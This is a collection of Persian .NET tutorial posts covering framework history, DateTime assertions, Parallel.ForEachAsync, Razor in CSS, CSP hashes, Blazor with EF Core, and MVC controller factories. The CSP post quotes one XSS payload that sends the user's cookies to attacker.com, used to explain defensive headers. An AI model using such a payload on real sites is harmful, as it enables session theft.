مطالب
تاریخچه‌ی نگارش‌های مختلف دات نت فریم ورک

حدود 8 سال از ارائه اولین نگارش دات نت فریم ورک می‌گذرد و در ادامه مرور سریعی خواهیم داشت بر عناوین کتابخانه‌های اضافه شده به این مجموعه:



دات نت فریم ورک 1.0
اولین ارائه عمومی آزمایشی آن در PDC 2000 صورت گرفت و در اوایل 2002 به عموم عرضه شد (2/13/2002).
عبارت کد مدیریت شده را به دنیا معرفی کرد (managed code) و شامل اجزای زیر بود:
• GC, JIT
• C#
• Coherent Framework
• XSP….ASP+…ASP.NET!
• WinForms

دات نت فریم ورک 1.1
در اوایل 2003 به همراه ویندوز سرور 2003 و VS 2003 ارائه شد.
• Mobile ASP.NET controls
• Built-in support for ODBC and Oracle databases.
• IPv6 support.

دات نت فریم ورک 2
در اواخر 2005 ارائه شد (11/07/2005) و شامل تازه‌های زیر بود:
• ASP.NET for the Masses
○ Application Building Blocks
§ Parts, Authentication, Role Management, etc
○ Visual Web Developer
• Client Development
• ClickOnce!

دات نت فریم ورک 3
در اواخر 2006 ارائه شد (11/06/2006) و موارد زیر را به این فریم ورک افزود:

• Windows CardSpace - Digital identity interface.
• Windows Presentation Foundation : WPF
○ Vector Graphics, Media and UI
○ Enters the age of UX
• Windows Communication Foundation : WCF
○ Unified messaging model
• Windows Workflow Foundation : WF
○ Coordinating work with durable applications

دات نت فریم ورک 3.5
در پایان 2007 ارائه شد (11/19/2007) و تازه‌های زیر را به همراه داشت:
• Linq
• Expression Trees and Lamda Methods
• Extension Methods
• Paging Support for ADO.NET
• Managed Wrappers for WMI and AD
• Enhancements to WCF and WF
• System.CodeDom namespace
• ASP.NET AJAX
• WCF/WF
○ REST Services
○ Workflow Services
• Client
○ Sync
○ Client app services

در همین زمان نیز دات نت فریم ورک سورس باز شد.

سرویس پک یک دات نت فریم ورک 3.5
در اواسط 2008 ارائه شد (8/11/2008) و به همراه تغییرات زیر بود:
• ASP.NET Dynamic Data
• ADO.NET
○ Entity Framework
○ Data Services (Astoria)
• WCF
○ AtomPub ServiceDocuments
• Client
○ Client Profile
○ Performance
§ Working set and startup time
• Silverlight 2
○ RTM end of 2008
○ Brings power of .NET to the web client
○ Media and RIA .NET platform


دات نت فریم ورک 4.0
نگارش بتای آن در دسترس است و احتمالا نگارش نهایی آن در سال آینده‌ی میلادی به همراه VS2010 ارائه می‌شود. این مجموعه تازه‌های زیر را به همراه خواهد داشت:

• Base Class Library Improvements
○ Managed Extensibility Framework
○ More Core Data Structures
○ I/O Improvements
• Parallel Computing
○ Task Parallel Library
○ Parallel Linq (PLINQ)
○ Coordination Data Structures (CDS)
• Client
○ WPF
§ Client Profile
§ Business Focused Controls
§ Win7 Advances (Multi-touch, etc)
○ ADO.NET
§ Entity Framework v2
□ Code-First Development
□ TDD Support
□ Foreign-Key Support
○ ASP.NET
§ ASP.NET Dynamic Data Improvements
§ ASP.NET MVC
§ ASP.NET Dynamic Data for MVC
§ Extensible Caching Framework
○ WF & WCF
§ Fully Declarative Services
§ Workflow Enhancements
□ New flowchart modeling
□ Workflow Rules Integration
□ … much more…
§ WCF Enhancements
□ Durable Duplex
□ WS-Discovery & UDP Channel
□ In-Process Channel
§ RIA (Silverlight)
□ Simplified N-tier development
□ Business-focused framework

مطالب
روش صحیح تست DateTime در NUnit و MSTest
وقتی ما تست‌های Unit - Integration - UI را می‌نویسیم، به طور معمول پیش می‌آید که بخواهیم آبجکتی را نیز از نوع DateTime، اثبات کنیم (Assert.That). وقتی دو DateTime را با هم مقایسه می‌کنیم، معمولا این دو به خاطر ثانیه و یا میلی ثانیه با هم برابر نمی‌شوند. به همین دلیل ما به راه بهتری برای مقایسه نیاز داریم. برای مثال اگر بخواهیم دو تاریخ زیر را مقایسه کنیم:
2016-11-13 21:03:20  <=>  2016-11-13 21:03:21  
این دو تاریخ تقریبا با هم برابرند و تنها 1 ثانیه با هم اختلاف دارند. در بیشتر موارد 1 ثانیه مسئله مهمی نیست و قابل چشم پوشی می‌باشد. بنابراین ما نیاز به متدی برای اثبات داریم که بتوانیم آن را برای چشم پوشی از 1 ثانیه اختلاف، تنظیم کنیم.

چگونگی اثبات کردن DateTime در NUnit

NUnit  با استفاده از کلمه کلیدی Within این کار را به صورت کامل پشتیبانی کرده است.
DateTime now = DateTime.Now;
DateTime later = now + TimeSpan.FromHours(1.0);

Assert.That( now, Is.EqualTo(now) );
Assert.That( later, Is.EqualTo(now).Within( TimeSpan.FromHours(3.0) ) );
Assert.That( later, Is.EqualTo(now).Within(3).Hours );
بنابراین نیازی به پیاده سازی متد سفارشی نیست.

چگونگی اثبات کردن DateTime در MSTest

با استفاده از متد AreEqual در کلاس زیر می‌توان دو تاریخ را با هم مقایسه کرد و میزان اختلاف قابل چشم پوشی را نیز با استفاده از پارامتر maximum تعیین کرد.
public static class DateTimeAssert
{
    public static void AreEqual( DateTime? expectedDate,
                                 DateTime? actualDate,
                                 TimeSpan maximum )
    {
        if ( expectedDate == null && actualDate == null )
            return;

        if ( expectedDate == null )
            throw new NullReferenceException( "The expected date was null" );

        if ( actualDate == null )
            throw new NullReferenceException( "The actual date was null" );

        var totalSecondsDifference = Math.Abs( ( actualDate.Value - expectedDate.Value ).TotalSeconds );
        if ( totalSecondsDifference > maximum.TotalSeconds )
        {
            throw new Exception( $"Expected Date: {expectedDate}, Actual Date: {actualDate} Expected: {maximum}, Total Seconds Difference: {totalSecondsDifference}" );
        }
    }
}
برای استفاده:
DateTimeAssert.AreEqual( new DateTime(2016, 11, 12, 21, 4, 5),
                         new DateTime(2016, 11, 13, 21, 4, 5),
                         TimeSpan.FromMilliSeconds(500));
DateTimeAssert.AreEqual( new DateTime(2016, 11, 12, 21, 4, 5),
                         new DateTime(2016, 11, 13, 21, 4, 5),
                         TimeSpan.FromMinutes(0.5)); // half a minute = 30s

مطالب
معرفی Async Parallel.ForEach در دات نت 6
عموما زمانیکه می‌خواهیم تمام وظایف مدنظر، به صورت موازی اجرا شوند، آن‌ها را Task.WhenAll می‌کنیم. برای مثال 10 هزار درخواست HTTP را به صورت وظایفی، WhenAll می‌کنیم و ... در این حالت ... سرور ریموت، IP شما را خواهد بست! چون کنترلی بر روی تعداد وظیفه‌ی در حالت اجرای موازی وجود ندارد و یک چنین عملی، شبیه به یک حمله‌ی DDOS عمل می‌کند! برای مدیریت بهتر یک چنین مواردی، در دات نت 6 متدهای Parallel.ForEachAsync ارائه شده‌اند تا دیگر نیازی به استفاده از راه‌حل‌های ثالثی که عموما آنچنان بهینه هم نیستند، نباشد.
public static Task ForEachAsync<TSource>(IEnumerable<TSource> source, Func<TSource, CancellationToken, ValueTask> body)
public static Task ForEachAsync<TSource>(IEnumerable<TSource> source, CancellationToken cancellationToken, Func<TSource, CancellationToken, ValueTask> body)
public static Task ForEachAsync<TSource>(IEnumerable<TSource> source, ParallelOptions parallelOptions, Func<TSource, CancellationToken, ValueTask> body)
public static Task ForEachAsync<TSource>(IAsyncEnumerable<TSource> source, Func<TSource, CancellationToken, ValueTask> body)
public static Task ForEachAsync<TSource>(IAsyncEnumerable<TSource> source, CancellationToken cancellationToken, Func<TSource, CancellationToken, ValueTask> body)
public static Task ForEachAsync<TSource>(IAsyncEnumerable<TSource> source, ParallelOptions parallelOptions, Func<TSource, CancellationToken, ValueTask> body)
این مجموعه متدها از ValueTaskها بجای Taskها استفاده می‌کند تا سربار ایجاد Taskها در حلقه‌ها کاهش یابد. همچنین در اینجا degree of parallelism به صورت پیش‌فرض به تعداد هسته‌های سی‌پی تنظیم شده‌است (Environment.ProcessorCount)؛ چون عموما توسعه دهنده‌ها نمی‌دانند که چه عددی را باید برای آن انتخاب کنند. هر چند امکان تنظیم دستی آن‌ها هم وجود دارد (یکی از مهم‌ترین مشکلات کار با WhenAll).

یک مثال: در اینجا می‌خواهیم به صورت موازی، مشخصات کاربرانی از Github را توسط HttpClient دریافت کنیم. هر بار هم فقط می‌خواهیم سه وظیفه اجرا شوند و نه بیشتر
using System.Net.Http.Headers;
using System.Net.Http.Json;
 
var userHandlers = new []  { "users/VahidN", "users/shanselman", "users/jaredpar", "users/davidfowl" };
 
using HttpClient client = new()
{
    BaseAddress = new Uri("https://api.github.com"),
};
client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("DotNet", "6"));
 
ParallelOptions parallelOptions = new() { MaxDegreeOfParallelism = 3 };
 
await Parallel.ForEachAsync(userHandlers, parallelOptions, async (uri, token) =>
{
    var user = await client.GetFromJsonAsync<GitHubUser>(uri, token); 
    Console.WriteLine($"Name: {user.Name}\nBio: {user.Bio}\n");
});
 
public class GitHubUser
{
    public string Name { get; set; }
    public string  Bio { get; set; }
}
در این مثال، نمونه‌ای از کارکرد متد جدید Parallel.ForEachAsync را مشاهده می‌کنید که اینبار، MaxDegreeOfParallelism آن قابل تنظیم است. یعنی با تنظیم فوق، هربار فقط سه وظیفه به صورت موازی اجرا خواهند شد. البته تنظیم آن به منهای یک، همان حالت WhenAll را سبب خواهد شد؛ یعنی محدودیتی وجود نخواهد داشت.
متد Parallel.ForEachAsync، آرایه‌ای را که باید بر روی آن کار کند، دریافت می‌کند. سپس تنظیمات اجرای موازی آن‌ها را هم مشخص می‌کنیم. در ادامه آن‌ها را در دسته‌های مشخصی، به صورت موازی بر اساس منطقی که مشخص می‌کنیم، اجرا خواهد کرد.


وضعیت امکان اجرای موازی متدهای async همزمان، تا پیش از دات نت 6

<List<T به همراه متد الحاقی ForEach است که می‌تواند یک <Action<T را بر روی المان‌های این لیست، اجرا کند و ... عموما زمانیکه به وظایف async می‌رسیم، به اشتباه مورد استفاده قرار می‌گیرد:
customers.ForEach(c => SendEmailAsync(c));
مثال فوق، با اجرای حلقه‌ی زیر تفاوتی ندارد:
foreach(var c in customers)
{
    SendEmailAsync(c); // the return task is ignored
}
یعنی یک عملیات async، بدون await فراخوانی شده‌است و تا پایان عملیات مدنظر، صبر نخواهد شد. حداقل مشکل آن این است که اگر در این بین استثنایی رخ دهد، هیچگاه متوجه آن نخواهید شد و حتی می‌تواند کل پروسه‌ی برنامه را خاتمه دهد. شاید عنوان کنید که می‌شود این مشکل را به صورت زیر حل کرد:
customers.ForEach(async c => await SendEmailAsync(c));
اما ... این روش هم تفاوتی با قبل ندارد. از این لحاظ که متد ForEach یک <Action<T را دریافت می‌کند که خروجی آن void است. یعنی در نهایت با راه حل دوم، فقط یک async void ایجاد می‌شود که باز هم قابلیت صبر کردن تا پایان عملیات را ندارد. نکته‌ی مهم اینجا است که اجرای موازی آن‌ها توسط متد Parallel.ForEach نیز دقیقا همین مشکل را دارد.
تنها راه حل پذیرفته‌ی شده‌ی چنین عمل async ای، فراخوانی آن‌ها به صورت متداول زیر و بدون استفاده از متد ForEach است:
foreach(var c in customers)
{
   await SendEmailAsync(c);
}
و یا Task.WhenAll کردن آن‌ها، با علم به این موضوع که MaxDegreeOfParallelism آن قابل کنترل نیست (حداقل به صورت استاندارد و بدون نیاز به کتابخانه‌های جانبی). برای مثال بجای نوشتن:
foreach(var o in orders)
{
    await ProcessOrderAsync(o);
}
می‌توان آن‌را به صورت زیر درآورد:
var tasks = orders.Select(o => ProcessOrderAsync(o)).ToList();
await Task.WhenAll(tasks);
در این حالت عملیات ProcessOrderAsync را تبدیل به لیستی از وظایف مدنظر کرده و به متد Task.WhenAll ارسال می‌کنیم تا به صورت موازی اجرا شوند. اما ... اگر 10 هزار Task وجود داشته باشند، کنترلی بر روی تعداد وظایف در حال اجرای موازی وجود نخواهد داشت و این مورد نه تنها سبب بالا رفتن کارآیی نخواهد شد، بلکه می‌تواند سرور را هم با اخلال پردازشی، به علت کمبود منابع در دسترس مواجه کند.

دات نت 6، هم کنترل MaxDegreeOfParallelism را میسر کرده‌است و هم اینکه اینبار نگارش async واقعی Parallel.ForEachAsync را ارائه داده‌است تا دیگر همانند حالت قبلی Parallel.ForEach، به async void‌ها و مشکلات مرتبط با آن‌ها نرسیم.
مطالب
استفاده از Razor در فایل Css
در مقاله «استفاده از Razor در فایل‌های JavaScript و CSS» با نحوه‌ی استفاده از Razor در فایل‌های Js و Css آشنا شدید. در مقاله‌ی جاری با روش دیگری، با نحوه‌ی استفاده از Syntax Razor در فایل‌های Css آشنا خواهید شد.

در ابتدا بعد از ایجاد یک پروژه‌ی جدید، نیاز دارید تا اسمبلی RazorEngin را توسط Package Manager Console به پروژه اضافه نماید.
Install-Package RazorEngine -Version 3.7.0



در گام بعدی نیاز است در کنترلری، یک اکشن متد را تعریف نماید که خروجی آن از نوع رشته خواهد بود و دستورات زیر در آن تعریف می‌شوند:
using System.Web.Mvc;
using RazorEngine;

namespace dynamicCSS.Controllers
{
    public class StyleController : Controller
    {
        /// <summary>
        /// نام متد ارجاعی به فایل سی اس اس 
        /// </summary>
        /// <returns></returns>
        public string Index()
        {
            //The ContentType property specifies the HTTP content type for the response. If no ContentType is specified, the default is text/HTML.  
            Response.ContentType = "text/css";
            //با استفاه از متد           
            //ReadAllText
            //فایل رو خوانده و سپس از متد 
            //Parse in Razor Class
            //به صورت رشته برگشت خواهیم داد
             return Razor.Parse(System.IO.File.ReadAllText(Server.MapPath("/Content/Site.css")));
        }
    }
}
در خط 21، فایل Css موجود در پوشه‌ی Content واقع در ریشه‌ی پروژه، خوانده شده و با متد Parse در کلاس Razor پردازش و بازگشت داده می‌شود. در کد زیر تمامی متدهای موجود در کلاس Razor را می‌توانید ملاحظه کنید:
#region Assembly RazorEngine.dll, v2.1.4039.23635
// Your Address\dynamicCSS\packages\RazorEngine.2.1\lib\.NetFramework 4.0\RazorEngine.dll
#endregion

using RazorEngine.Templating;
using System;
using System.Collections.Generic;

namespace RazorEngine
{
    public static class Razor
    {
        public static TemplateService DefaultTemplateService { get; }
        public static IDictionary<string, TemplateService> Services { get; }

        public static void AddResolver(Func<string, string> resolverDelegate);
        public static void AddResolver(ITemplateResolver resolver);
        public static void Compile(string template, string name);
        public static void Compile(string template, Type modelType, string name);
        public static void CompileWithAnonymous(string template, string name);
        public static string Parse(string template, string name = null);
        public static string Parse<T>(string template, T model, string name = null);
        public static string Run(string name);
        public static string Run<T>(T model, string name);
        public static void SetActivator(Func<Type, ITemplate> activator);
        public static void SetActivator(IActivator activator);
        public static void SetTemplateBase(Type type);
    }
}


در این حالت می‌توان از دستورات Razor در فایل Css نیز استفاده کرد:
@{
    // در اینجا دو متغییر با کلمه کلیدی 
    // var
    // ساخته و به صورت پیش فرض مقدار دهی نمودیم
    var  redColor = "red";
    var sizeMode = "100px";
}

h1 {
 // روش استفاده از متغییر‌ها 
  color: @redColor !important;
  font-size : @sizeModel !impotant;
 }
و در انتها می‌بایست در Layout پروژه، آدرس فایل Css را مشخص کرد:
//تغییر ادرس فایل به اکشن متد در  کنترلر
//Home
//<link href="/Content/Site.Css" rel="stylesheet" />
//شکل صحیح آدرس دهی
<link href="@Url.Action("Style", "Home")" rel="stylesheet" />

نکته: در صورتیکه متغیری بعد از دستورات استفاده شده تعریف گردد، با خطای زیر روبرو خواهید شد:




در خروجی نهایی تگ h1  با فونت 100 پیکسل و رنگ قرمز به نمایش در می‌آید:


Image

 

 :در صورتیکه خروجی نهایی به شکل صحیح اجرا نگردید، برای تست صحیح بودن گام‌های قبلی می‌توانید اکشن متد را در مرورگر اجرا کنید
 localhost:1599/Home/Style
مطالب
بهبود امنیت CSP با استفاده از معرفی هش‌های اسکریپت‌های Inline
تابحال مطالب زیادی را در مورد تمیزکردن ورودی‌های کاربران، توسط ابزارهای Anti-XSS مطالعه کرده‌اید:
- «ایجاد یک ActionFilter جهت تمیز کردن اطلاعات ورودی در ASP.NET Core»

هدف تمام آن‌ها این است که اگر اطلاعاتی از کاربر دریافت شد، پس از تمیز شدن، مشکلی با نمایش آن‌ها نداشته باشیم و به محض نمایش یک صفحه، قطعه کد جاوااسکریپتی موجود در ورودی اولیه‌ی کاربر، در پشت صحنه به صورت خودکار اجرا نشود. اما ... هرچقدر هم سعی کنیم، به مواردی خواهیم رسید که ممکن است توسط این «تمیز کننده‌های ورودی» پوشش داده نشوند و دست آخر، قابلیت اجرایی داشته باشند. در این حالت به مفهوم دیگری می‌رسیم به نام Content security policy headers و یا به اختصار CSP که اساسا اجرای هر نوع اسکریپت تزریق شده‌ای را در صفحه، ممنوع می‌کند:
- «افزودن هدرهای Content Security Policy به برنامه‌های ASP.NET» برای مثال زمانیکه تنظیم CSP ابتدایی زیر را داریم:
 Content-Security-Policy: default-src 'self'
یعنی مرورگر فقط در این صفحه، اطلاعاتی را که متعلق به سایت و دومین جاری است، بارگذاری می‌کند. در این حالت دیگر ویدیوهای یوتیوب معرفی شده، فایل‌های CSS و یا جاوااسکریپتی دریافتی از یک CDN دیگر اجرا نمی‌شوند؛ چون بارگذاری نخواهند شد. همچنین دیگر نمی‌توان یک قطعه‌ی اسکریپتی را هم داخل صفحه به صورت inline تعریف و اجرا کرد. یعنی حداقل اسکریپت‌های داخل صفحه‌‌ای Google analytics هم از کار خواهند افتاد. که این رفتار دقیقا مطلوب ما است؛ چون نمی‌خواهیم هیچ نوع اسکریپت واقع در صفحه - خصوصا موارد دریافتی از کاربران (مانند مثال زیر) به‌عنوان ورودی! - اجرا شوند. برای نمونه در مثال زیر که پس از نمایش اطلاعات دریافتی از کاربر، در صفحه اجرا می‌شود، کوکی‌های کاربر جاری را جهت ثبت، در اختیار سایت دیگری قرار می‌دهد:
<script>location.href="http://attacker.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>


سؤال: چگونه توسط CSP، اسکریپت‌های inline خوب را از بد تشخیص دهیم؟

یک روش مواجه شدن با منع اجرای اسکریپت‌های inline، مجاز اعلام کردن تمام آن‌ها با فعالسازی و ذکر تنظیم unsafe-inline است که عملا CSP را بی‌مصرف می‌کند. روش دیگر آن، معرفی هش اسکریپت‌های inline مجاز است. اگر هدرهای CSP را فعال کرده باشیم، مرورگر زمانیکه به قطعه کد اسکریپتی که نمی‌خواهد آن‌را اجرا کند برسد، یک چنین پیام خطایی را در developer tools خود صادر می‌کند:
Refused to execute inline script because it violates the following Content Security Policy directive:
"script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword,
a hash ('sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='),
or a nonce ('nonce-...') is required to enable inline execution.
همانطور که مشاهده می‌کنید، یک هش از نوع SHA-256 نیز در اینجا ذکر شده‌است. این هش دقیقا مرتبط با قطعه کدی است که خود ما در صفحه قرار داده‌ایم و یک «اسکریپت خوب» به‌شمار می‌رود. روش معرفی آن به هدرهای CSP نیز به صورت زیر است:
Content-Security-Policy: default-src 'self'; script-src 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='
در اینجا به نحو صریحی مشخص می‌کنیم که دقیقا کدام اسکریپت inline، مجاز به اجرا است؛ مابقی موارد به صورت خودکار بلاک خواهند شد. بدیهی است هر تغییری در اسکریپت قرار گرفته شد‌ه‌ی در صفحه، سبب تغییر هش آن خواهد شد و باید مجددا از طریق developer tools مرورگر و پیام خطایی که صادر می‌کند، مقدار این هش را به روز کرد.


معرفی کتابخانه‌ی NetEscapades.AspNetCore.SecurityHeaders‌

جهت سهولت تعریف و اعمال هدرهای CSP در تمام برنامه‌های مبتنی بر ASP.NET Core، منجمله Blazor server و Blazor WASM هاست شده، می‌توان از میان‌افزار NetEscapades.AspNetCore.SecurityHeaders استفاده کرد. برای اینکار ابتدا نیاز است بسته‌ی نیوگت آن‌را معرفی کرد:
<ItemGroup>
   <PackageReference Include="NetEscapades.AspNetCore.SecurityHeaders" Version="0.20.0" />
</ItemGroup>
و سپس به نحو زیر، یکی از امن‌ترین تنظیمات را تدارک دید:
public static class SecurityHeadersBuilder
{
    public static HeaderPolicyCollection GetCsp(bool isDevelopment)
    {
        var policy = new HeaderPolicyCollection()
                     .AddFrameOptionsDeny()
                     .AddXssProtectionBlock()
                     .AddContentTypeOptionsNoSniff()
                     .AddReferrerPolicyStrictOriginWhenCrossOrigin()
                     .AddCrossOriginOpenerPolicy(builder => builder.SameOrigin())
                     .AddCrossOriginResourcePolicy(builder => builder.SameOrigin())
                     .AddCrossOriginEmbedderPolicy(builder => builder.RequireCorp())
                     .AddContentSecurityPolicy(builder =>
                                               {
                                                   builder.AddBaseUri().Self();
                                                   builder.AddDefaultSrc().Self().From("blob:");
                                                   builder.AddObjectSrc().Self().From("blob:");
                                                   builder.AddBlockAllMixedContent();
                                                   builder.AddImgSrc().Self().From("data:").From("blob:").From("https:");
                                                   builder.AddFontSrc().Self();
                                                   builder.AddStyleSrc().Self();
                                                   builder.AddFrameAncestors().None();
                                                   builder.AddConnectSrc().Self();
                                                   builder.AddMediaSrc().Self();

                                                   builder.AddScriptSrc().Self()
                                                          // Specify any additional hashes to permit your required `non-framework` scripts to load.
                                                          .WithHash256("Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=")
                                                          // Specify unsafe-eval to permit the `Blazor WebAssembly Mono runtime` to function.
                                                          .UnsafeEval();

                                                   //TODO: Add api/CspReport/Log action method ...
                                                   // https://www.dntips.ir/post/2706
                                                   builder.AddReportUri().To("/api/CspReport/Log");

                                                   builder.AddUpgradeInsecureRequests();
                                               })
                     .RemoveServerHeader()
                     .AddPermissionsPolicy(builder =>
                                           {
                                               builder.AddAccelerometer().None();
                                               builder.AddAutoplay().None();
                                               builder.AddCamera().None();
                                               builder.AddEncryptedMedia().None();
                                               builder.AddFullscreen().All();
                                               builder.AddGeolocation().None();
                                               builder.AddGyroscope().None();
                                               builder.AddMagnetometer().None();
                                               builder.AddMicrophone().None();
                                               builder.AddMidi().None();
                                               builder.AddPayment().None();
                                               builder.AddPictureInPicture().None();
                                               builder.AddSyncXHR().None();
                                               builder.AddUsb().None();
                                           });

        if (!isDevelopment)
        {
            // maxAge = one year in seconds
            policy.AddStrictTransportSecurityMaxAgeIncludeSubDomains();
        }

        policy.ApplyDocumentHeadersToAllResponses();
        return policy;
    }
}
چند نکته:
- این تنظیمات برای Blazor WASM تهیه شده‌اند. در این حالت ذکر UnsafeEval برای اجرای اسکریپت‌های فر‌یم‌ورک آن (حداقل تا نگارش 7) ضروری است. اگر از ASP.NET Core و یا Blazor Server استفاده می‌کنید، این تنظیم (UnsafeEval) را حذف کنید.
- روش معرفی هش‌ها را هم در صورت نیاز، توسط متد WithHash256 در این مثال مشاهده می‌کنید.

پس از تدارک کلاس تنظیمات فوق، روش استفاده‌ی از آن در فایل Program.cs و توسط میان‌افزار SecurityHeaders، به صورت زیر است:
var app = builder.Build();

// ...

var headerPolicyCollection = SecurityHeadersBuilder.GetCsp(app.Environment.IsDevelopment());
app.UseSecurityHeaders(headerPolicyCollection);

app.UseHttpsRedirection();

// ...
این تنظیم سبب می‌شود تا هدرهای زیر به صورت خودکار تولید و به هر Response ای اضافه شوند:
Content-Security-Policy:base-uri 'self'; default-src 'self' blob:; object-src 'self' blob:; block-all-mixed-content; img-src 'self' data: blob: https:; font-src 'self'; style-src 'self'; frame-ancestors 'none'; connect-src 'self'; media-src 'self'; script-src 'self' 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=' 'unsafe-eval'; report-uri /api/CspReport/Log; upgrade-insecure-requests
Cross-Origin-Embedder-Policy:require-corp
Cross-Origin-Opener-Policy:same-origin
Cross-Origin-Resource-Policy:same-origin
Permissions-Policy:accelerometer=(), autoplay=(), camera=(), encrypted-media=(), fullscreen=*, geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), sync-xhr=(), usb=()
Referrer-Policy:strict-origin-when-cross-origin
X-Content-Type-Options:nosniff
X-Frame-Options:DENY
X-Xss-Protection:1; mode=block
نظرات مطالب
Blazor 5x - قسمت 19 - کار با فرم‌ها - بخش 7 - نکات ویژه‌ی کار با EF-Core در برنامه‌های Blazor Server
جهت ثبت و دریافت داده‌ها من از MediateR استفاده کردم.
در مرحله اول context را مطابق الوی گفته شده ایجاد کردم:
services.AddDbContextFactory<ApplicationDbContext>(options => options.UseSqlServer(connectionString));
services.AddScoped<IunitOfWork>(serviceProvider =>
        serviceProvider.GetRequiredService<IDbContextFactory<ApplicationDbContext>>().CreateDbContext());
سپس با توجه به اینکه سرویس‌ها و IunitOfwork هم داخل هندلرها تعریف می‌شوند تنها اینترفیس Idisposable به  IunitOfwork   نسبت داده شده است:
public interface IUnitOfWork : IDisposable
و سپس 
@inherits  OwningComponentBase<IMediator>

تا به حال مشکلی در اجرا دیده نشد تا اینکه در حالت OnParameterAsync که دو مرتبه پشت سر هم اجرا میشود با خطاهای زیر روبرو شد:
 A second operation was started on this context instance before a previous operation completed. This is usually caused by different threads concurrently using the same instance of DbContext.
 For more information on how to avoid threading issues with DbContext

 System.ObjectDisposedException: Cannot access a disposed object.
      Object name: 'IServiceProvider'.
در صورتی که اگر با یک فلگ کنترل شود که در مرتبه‌های بعدی اجرا نشود مشکلی نیست.
در این حالت چند سوال مطرح میباشد:
1- آیا استفاده از MediateR به این شکل صحیح است؟ و اینکه استفاده از OwningComponentBase برای آن تاثیری دارد یا خیر اینکه مستقیم هم Inject شود کفایت میکند.
2- به جهت اینکه Onparameter دوبار صدا زده میشود. نحوه واکشی دیتا در این حالت چگونه است؟
مطالب
سفارشی کردن Controller factory توکار و فرصتی برای تزریق وابستگی‌ها به کنترلر
در مقاله‌ی قبلی ( + ) به این لحاظ که بهترین راه نشان دادن نحوه‌ی کارکرد Controller Factory ایجاد یک نمونه‌ی سفارشی بود، آن رابررسی کردیم و برای اکثریت برنامه‌ها و سناریوها، کلاس توکار Controller Factory به نام DefaultControllerFactory کفایت می‌کند.
پس از وصول یک درخواست از طریق سیستم مسیریابی، factory پیش فرض (DefaultControllerFactory) به بررسی rout data پرداخته تا خاصیت Controller آن را بیابد و سعی در پیدا کردن کلاسی در برنامه خواهد داشت که مشخصات ذیل را دارا باشد:
  1. دارای سطح دسترسی public باشد.
  2. Abstract نباشد.
  3. حاوی پارامتر generic نباشد.
  4. نام کلاس دارای پسوند Controller باشد.
  5. پیاده سازی کننده اینترفیس IContoller باشد.
کلاس DefaultControllerFactory در صورت یافتن کلاسی مطابق قواعد فوق و مناسب درخواست رسیده، وهله‌ای از آن را به کمک Controller Activator ایجاد می‌کند. می‌بینید که با برپایی چند قاعده‌ی ساده،  factory پیش فرض، نیاز به ثبت کنترلرها را به منظور معرفی و داشتن لیستی برای بررسی از طرف برنامه نویس (مثلا درج نام کلاس‌های کنترلر در یک فایل پیکربندی)، مرتفع ساخته است.
اگر بخواهید به فضاهای نام خاصی برای یافتن آنها توسط factory پیش فرض، برتری قائل شوید، باید در متد Application_Start فایل global.asax.cs مانند ذیل عمل نمایید:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Http;
using System.Web.Mvc;
using System.Web.Routing;
using ControllerExtensibility.Infrastructure;
namespace ControllerExtensibility
{
    public class MvcApplication : System.Web.HttpApplication
    {
        protected void Application_Start()
        {
            AreaRegistration.RegisterAllAreas();
            WebApiConfig.Register(GlobalConfiguration.Configuration);
            FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
            RouteConfig.RegisterRoutes(RouteTable.Routes);
            ControllerBuilder.Current.DefaultNamespaces.Add("MyControllerNamespace");
            ControllerBuilder.Current.DefaultNamespaces.Add("MyProject.*");
        }
    }
}

سفارشی کردن وهله سازی کنترلرها توسط DefaultControllerFactory

مهمترین دلیلی که نیاز داریم factory پیش فرض را سفارشی کنیم، استفاده از تزریق وابستگی‌ها (DI) به کنترلرهاست. راه‌های متعددی برای این کار وجود دارند که انتخاب بهترین روش بسته به چگونگی بکارگیری DI در برنامه شماست:
الف) تزریق وابستگی به کنترلر با ایجاد یک controller activator سفارشی

کدهای اینترفیس  IControllerActivator  مطابق ذیل است:
namespace System.Web.Mvc
{
    using System.Web.Routing;
    public interface IControllerActivator
    {
        IController Create(RequestContext requestContext, Type controllerType);
    }
}
این اینترفیس حاوی متدی به نام Create است که شیء RequestContext به آن پاس داده می‌شود و یک Type که مشخص می‌کند کدام کنترلر باید وهله سازی شود. در کدهای ذیل در قسمت (return (IController)ObjectFactory.GetInstance(controllerType  فرض بر این است که در پروژه برای تزریق وابستگی، StructureMapFactory  را به کار گرفته‌ایم و سیم کشی‌های لازم قبلا صورت گرفته است. چنانچه با StructureMap  آشنایی ندارید به این مقاله سایت (استفاده از StructureMap به عنوان یک IoC Container) مراجعه نمایید.
using ControllerExtensibility.Controllers;
using System;
using System.Web.Mvc;
using System.Web.Routing;
namespace ControllerExtensibility.Infrastructure
{
    public class StructureMapControllerActivator : IControllerActivator
    {
        public IController Create(RequestContext requestContext,
        Type controllerType)
        {
            return (IController)ObjectFactory.GetInstance(controllerType);
        }
    }
}

در شکل فوق منظور از CustomControllerActivator یک پیاده سازی از اینترفیس IControllerActivator مانند کلاس StructureMapControllerActivator است.
برای استفاده از این activator سفارشی نیاز داریم وهله‌ای از آن را به عنوان پارامتر به سازنده‌ی کلاس DefaultControllerFactory ارسال کنیم و نتیجه را در متد Application_Start فایل global.asax.cs ثبت کنیم.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Http;
using System.Web.Mvc;
using System.Web.Routing;
using ControllerExtensibility.Infrastructure;
namespace ControllerExtensibility
{
    public class MvcApplication : System.Web.HttpApplication
    {
        protected void Application_Start()
        {
            AreaRegistration.RegisterAllAreas();
            WebApiConfig.Register(GlobalConfiguration.Configuration);
            FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
            RouteConfig.RegisterRoutes(RouteTable.Routes);
            ControllerBuilder.Current.SetControllerFactory(new
            DefaultControllerFactory(new StructureMapControllerActivator()));
        }
